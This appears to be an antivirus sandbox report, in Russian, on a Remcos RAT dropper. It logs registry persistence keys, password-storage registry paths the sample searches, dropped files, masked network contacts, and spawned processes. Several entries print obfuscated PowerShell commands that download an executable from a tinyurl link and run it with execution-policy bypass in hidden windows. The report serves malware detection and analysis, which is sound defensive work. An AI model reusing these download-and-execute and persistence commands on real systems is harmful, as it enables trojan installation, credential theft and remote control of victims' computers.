Exploit.Siggen3.7500

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[<HKCU>\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe,%HOMEPATH%\rthfy.exe,'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run\] 'Remcos' = '"%APPDATA%\Remcos\remcos.exe"'

Вредоносные функции

Запускает на исполнение (эксплоит)

'<SYSTEM32>\cmd.exe' /c po^wer^she^l^l -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('https://tinyurl.com/y4cpohnr','nm.exe')
'<SYSTEM32>\cmd.exe' /c po^wer^she^l^l -w 1 .('S'+'tart'+'-Sl'+'eep') 20; Move-Item "nm.exe" -Destination "${enV`:appdata}"
'<SYSTEM32>\cmd.exe' /c po^wer^she^l^l -w 1 -EP bypass .('S'+'tart'+'-Sl'+'eep') 25; cd ${enV`:appdata};.('.'+'/nm.exe')

Внедряет код в

следующие пользовательские процессы:

Ищет ветки реестра, отвечающие за хранение паролей сторонними программами

[<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Trillian]
[<HKCU>\Identities\{91255D00-95D9-49F5-8E84-7C027F5283B7}\Software\Microsoft\Internet Account Manager\Accounts]
[<HKCU>\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts]
[<HKCU>\Software\Microsoft\Internet Account Manager\Accounts]
[<HKCU>\Software\Paltalk]
[<HKCU>\Software\Google\Google Talk\Accounts]
[<HKCU>\Software\Mirabilis\ICQ\NewOwners]
[<HKCU>\Identities\{91255D00-95D9-49F5-8E84-7C027F5283B7}\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts]
[<HKLM>\Software\Wow6432Node\Mirabilis\ICQ\NewOwners]
[<HKCU>\Software\AIM\AIMPRO]
[<HKCU>\Software\America Online\AIM6\Passwords]
[<HKCU>\Software\America Online\AOL Instant Messenger (TM)\CurrentVersion\Users]
[<HKCU>\Software\Microsoft\IdentityCRL]
[<HKCU>\Software\Microsoft\MSNMessenger]
[<HKLM>\Software\Wow6432Node\Miranda]
[<HKCU>\Software\Yahoo\Pager]
[<HKCU>\Software\Microsoft\Windows Live Mail]

Читает файлы, отвечающие за хранение паролей сторонними программами

Изменения в файловой системе

Создает следующие файлы

%HOMEPATH%\documents\nm.exe
%TEMP%\addinprocess32.exe
%HOMEPATH%\rthfy.exe
%TEMP%\fb_22eb.tmp.exe
%TEMP%\fb_2414.tmp.exe
%APPDATA%\remcos\remcos.exe
%TEMP%\install.vbs
%APPDATA%\remcos\logs.dat
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
%LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
%TEMP%\ndksszgwyefstfukfoawteghlt
%TEMP%\ebhtlp

Удаляет следующие файлы

Перемещает следующие файлы

Сетевая активность

TCP

Запросы HTTP GET

'ti##url.com':443

'wh##########tdodoestnotexist.duckdns.org':2889

UDP

Другое

Создает и запускает на исполнение

'%WINDIR%\syswow64\wscript.exe' "%TEMP%\install.vbs"
'%APPDATA%\remcos\remcos.exe' /stext "%TEMP%\ovmmmhipbn"
'%APPDATA%\remcos\remcos.exe' /stext "%TEMP%\ebhtlp"
'%APPDATA%\remcos\remcos.exe' /stext "%TEMP%\azcdlcbsaupkgafsgkzrhwnhuguvdqfmc"
'%APPDATA%\remcos\remcos.exe' /stext "%TEMP%\pfpktjrqmmxxwmjopznyertymakmk"
'%APPDATA%\remcos\remcos.exe'
'%APPDATA%\remcos\remcos.exe' /stext "%TEMP%\ndksszgwyefstfukfoawteghlt"
'%APPDATA%\remcos\remcos.exe' /stext "%TEMP%\zyrenabixvpbg"
'%TEMP%\addinprocess32.exe'
'%HOMEPATH%\rthfy.exe'
'%APPDATA%\nm.exe'
'%TEMP%\fb_2414.tmp.exe'
'%TEMP%\fb_22eb.tmp.exe'
'<SYSTEM32>\cmd.exe' /c po^wer^she^l^l -w 1 -EP bypass .('S'+'tart'+'-Sl'+'eep') 25; cd ${enV`:appdata};.('.'+'/nm.exe')' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c po^wer^she^l^l -w 1 .('S'+'tart'+'-Sl'+'eep') 20; Move-Item "nm.exe" -Destination "${enV`:appdata}"' (со скрытым окном)
'%WINDIR%\syswow64\wscript.exe' "%TEMP%\install.vbs"' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c "%APPDATA%\Remcos\remcos.exe"' (со скрытым окном)
'<SYSTEM32>\cmd.exe' /c po^wer^she^l^l -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('https://tinyurl.com/y4cpohnr','nm.exe')' (со скрытым окном)

Запускает на исполнение

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 (nEw-oB`jecT Net.WebcLIENt).('Down'+'loadFile').Invoke('https://tinyurl.com/y4cpohnr','nm.exe')
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 .('S'+'tart'+'-Sl'+'eep') 20; Move-Item "nm.exe" -Destination "${enV`:appdata}"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w 1 -EP bypass .('S'+'tart'+'-Sl'+'eep') 25; cd ${enV`:appdata};.('.'+'/nm.exe')
'%WINDIR%\syswow64\cmd.exe' /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,%HOMEPATH%\rthfy.exe,"
'%WINDIR%\syswow64\reg.exe' ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,%HOMEPATH%\rthfy.exe,"
'%WINDIR%\syswow64\cmd.exe' /c "%APPDATA%\Remcos\remcos.exe"